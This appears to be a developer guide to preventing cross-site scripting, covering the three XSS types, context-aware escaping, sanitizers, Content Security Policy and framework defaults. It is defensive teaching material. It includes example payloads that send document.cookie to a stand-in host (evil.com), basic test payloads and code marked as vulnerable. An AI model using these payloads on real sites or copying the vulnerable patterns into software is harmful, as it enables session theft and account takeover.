Cross-Site Scripting (XSS) is a vulnerability that lets an attacker inject malicious JavaScript into a web page so it runs in another user’s browser, typically to steal session data or hijack an account. Despite being well-understood for over two decades, it consistently appears in the OWASP Top 10 because web applications handle user input everywhere, and it only takes one unescaped output to create a vulnerability.

This guide covers the three types of XSS, how each one works, and the concrete steps you should take to prevent them in your applications.

What XSS Actually Does

An XSS attack injects malicious JavaScript into a web page that other users view. Once the script executes in a victim’s browser, it can:

  • Steal session cookies and authentication tokens
  • Redirect users to phishing pages
  • Modify the page content to trick users
  • Make API requests on behalf of the authenticated user
  • Install keyloggers that capture passwords
  • Access anything the user’s JavaScript can access

The core problem is that the browser cannot distinguish between legitimate scripts you intended to run and injected scripts from an attacker. Both execute with the same privileges.

The Three Types of XSS

Reflected XSS

Reflected XSS occurs when user input is immediately included in the page response without proper escaping. The malicious payload is part of the request — typically in a URL parameter — and “reflected” back in the response.

Example vulnerable code:

// Express.js route - VULNERABLE
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Search results for: ${query}</h1>`);
});

An attacker crafts a URL like:

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

When the victim clicks this link, the server includes the script tag in the HTML response, and the browser executes it.

How to prevent it:

  • HTML-encode all user input before including it in HTML output
  • Use templating engines that auto-escape by default (React, Angular, Jinja2 with autoescape, etc.)

Stored XSS

Stored XSS is more dangerous because the malicious payload is saved on the server — in a database, file, or cache — and served to every user who views the affected page.

Common targets:

  • Comment sections
  • User profile fields (display names, bios)
  • Forum posts
  • Product reviews
  • Chat messages

Example:

An attacker posts a comment containing:

Great article! <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

If the application stores and displays this comment without sanitization, every user who views the page executes the attacker’s code.

How to prevent it:

  • Sanitize HTML input before storing it
  • Escape output when rendering
  • Use an allowlist of permitted HTML tags if rich text is needed

DOM-Based XSS

DOM XSS happens entirely in the browser, without the malicious payload ever reaching the server. JavaScript code reads from an attacker-controlled source (like location.hash or document.referrer) and writes it to a dangerous sink (like innerHTML or eval()).

Example vulnerable code:

// VULNERABLE - DOM XSS
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Welcome, ${name}!`;

An attacker sends a link:

https://example.com/page?name=<img src=x onerror=alert(document.cookie)>

The browser-side JavaScript reads the parameter and writes it directly into the DOM.

How to prevent it:

  • Use textContent instead of innerHTML when inserting user-provided text
  • Use DOM APIs like createElement() and setAttribute() instead of string concatenation
  • Avoid eval(), setTimeout() with strings, and document.write()

Escaping: The First Line of Defense

The most fundamental XSS prevention technique is context-aware output escaping. The key word is context — the same input needs different escaping depending on where it appears in the page.

HTML Context

Replace characters that have meaning in HTML with HTML entities:

Character Escape
< &lt;
> &gt;
& &amp;
" &quot;
' &#x27;
function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

You can also use our HTML entity encoder/decoder to quickly encode strings and see the resulting entities.

JavaScript Context

Never insert user input directly into JavaScript code:

<!-- VULNERABLE -->
<script>var name = '${userInput}';</script>

<!-- SAFE - use JSON encoding -->
<script>var name = JSON.parse('${JSON.stringify(userInput)}');</script>

URL Context

When inserting user input into URLs, use encodeURIComponent():

const redirectUrl = `/page?name=${encodeURIComponent(userInput)}`;

Our URL encoder/decoder shows exactly how a given string is percent-encoded, which is useful for spotting values that were not encoded correctly.

CSS Context

User input in CSS can also be dangerous:

/* VULNERABLE */
.element { background: url(${userInput}); }

Validate and sanitize CSS values strictly. Never allow arbitrary CSS from users.

HTML Sanitization

Sometimes you need to allow some HTML — rich text editors, markdown rendering, user-generated content. In these cases, you need a sanitizer that strips dangerous elements and attributes while keeping safe ones.

DOMPurify

DOMPurify is the gold standard for client-side HTML sanitization:

import DOMPurify from 'dompurify';

const dirty = '<p>Hello</p><script>alert("xss")</script><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<p>Hello</p><img src="x">'

Configure it with an allowlist of tags and attributes:

const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
});

Server-Side Sanitization

Always sanitize on the server side, not just the client. Libraries vary by language:

  • Node.js: sanitize-html, DOMPurify with jsdom
  • Python: bleach, nh3
  • Ruby: sanitize gem
  • PHP: HTMLPurifier
  • Go: bluemonday

Content Security Policy (CSP)

Content Security Policy (CSP) is a defense-in-depth measure. It tells the browser which sources of content are trusted. Even if an XSS payload is injected, a strong CSP can prevent it from executing. For a broader look at CSP alongside other protective headers, see our security headers guide.

Basic CSP Header

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;

Key Directives

Directive Controls
default-src Fallback for all other directives
script-src JavaScript sources
style-src CSS sources
img-src Image sources
connect-src Fetch, XHR, WebSocket connections
frame-src Iframe sources
font-src Font file sources

Blocking Inline Scripts

The most impactful CSP setting is blocking inline scripts. Most XSS attacks rely on injecting inline <script> tags or event handlers. With script-src 'self', only scripts loaded from your domain execute.

If you need inline scripts, use nonces:

Content-Security-Policy: script-src 'nonce-abc123'

<script nonce="abc123">
  // This script executes because the nonce matches
</script>

Generate a unique nonce for each response. Never reuse them.

You can build and test your CSP headers using our CSP header generator. It helps you construct a policy step by step and understand what each directive does. Once deployed, verify the header is actually being sent with the security headers checker.

Framework-Specific Protections

React

React escapes values in JSX by default:

// SAFE - React escapes the value
return <p>{userInput}</p>;

// DANGEROUS - bypasses escaping
return <p dangerouslySetInnerHTML={{ __html: userInput }} />;

Never use dangerouslySetInnerHTML with unsanitized input.

Angular

Angular sanitizes values automatically:

<!-- SAFE - Angular auto-sanitizes -->
<p>{{ userInput }}</p>

<!-- DANGEROUS - bypasses sanitization -->
<div [innerHTML]="userInput"></div>

Use Angular’s DomSanitizer if you must bind HTML.

Vue

Vue escapes text interpolation:

<!-- SAFE -->
<p>{{ userInput }}</p>

<!-- DANGEROUS -->
<p v-html="userInput"></p>

Server-Side Templates

Most modern templating engines auto-escape by default:

  • Jinja2: {{ value }} is auto-escaped. {{ value | safe }} bypasses escaping.
  • EJS: <%= value %> escapes. <%- value %> does not.
  • Go templates: {{ . }} in html/template is auto-escaped. text/template does not escape.

Know your template engine’s default behavior and never bypass escaping without sanitization.

Additional Protections

HTTPOnly Cookies

Set the HttpOnly flag on session cookies so JavaScript cannot access them:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

This does not prevent XSS, but it prevents cookie theft — one of the most common XSS payloads.

Trusted Types

Trusted Types is a browser API that prevents DOM XSS by requiring dangerous operations to use typed objects instead of raw strings:

// Create a policy
const policy = trustedTypes.createPolicy('default', {
  createHTML: (input) => DOMPurify.sanitize(input),
});

// This now requires a TrustedHTML object
element.innerHTML = policy.createHTML(userInput);

Input Validation

Validate input on the server side. If a field should contain an email address, validate that it looks like an email. If it should be a number, parse it as a number. Validation is not a substitute for output escaping, but it reduces the attack surface.

Testing for XSS

  1. Manual testing: Try basic payloads like <script>alert(1)</script> and "><img src=x onerror=alert(1)> in every input field
  2. Automated scanning: Tools like OWASP ZAP, Burp Suite, and nuclei can find common XSS patterns
  3. Code review: Search for dangerous sinks like innerHTML, document.write, eval, and v-html
  4. CSP reporting: Use Content-Security-Policy-Report-Only to detect violations without breaking functionality

Summary

XSS prevention requires defense in depth. Escape output based on context, sanitize any HTML you must render, set a strong Content Security Policy, and use framework protections correctly. No single measure is enough — the combination of escaping, sanitization, CSP, and secure cookie flags makes XSS exploitation significantly harder. Test regularly, review code for dangerous patterns, and treat every user input as potentially hostile.